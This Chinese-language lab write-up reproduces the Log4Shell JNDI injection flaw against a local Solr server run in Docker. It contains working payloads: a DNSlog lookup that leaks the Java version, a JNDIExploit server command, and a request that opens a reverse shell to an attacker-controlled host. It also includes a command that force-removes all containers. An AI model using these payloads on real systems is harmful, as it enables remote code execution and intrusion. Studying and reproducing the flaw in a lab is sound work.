
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。
Log4j2-2021
🌊漏洞原理
- Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于
${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
- 由于Log4j2 作为日志记录基础第三方库,被大量Java框架及应用使用,只要用到 Log4j2 进行日志输出且日志内容能被攻击者部分可控,即可能会受到漏洞攻击影响。因此,该漏洞也同时影响全球大量通用应用及组件
🌏环境搭建
docker-compose build && docker-compose up -d

- 但是这里显示失败了,查看了一下发现之前的容器未删除,可能出现端口被占用的情况,所以这里销毁所有容器。
docker ps -aq
docker rm -f $(docker ps -aq)


🚀漏洞复现
- 在DNSlog平台请求一个dns域名:7jut3u.dnslog.cn。

http://192.168.130.198:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.7jut3u.dnslog.cn}

- 查看dnslog:可以看到显示了Java版本1.8.0_172,存在漏洞。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.137.1 -p 6666



http://192.168.130.198:8983/solr/admin/cores?action=${jndi:ldap://192.168.137.1:1389/Basic/ReverseShell/192.168.130.184/9999}



docker rm -f $(docker ps -aq)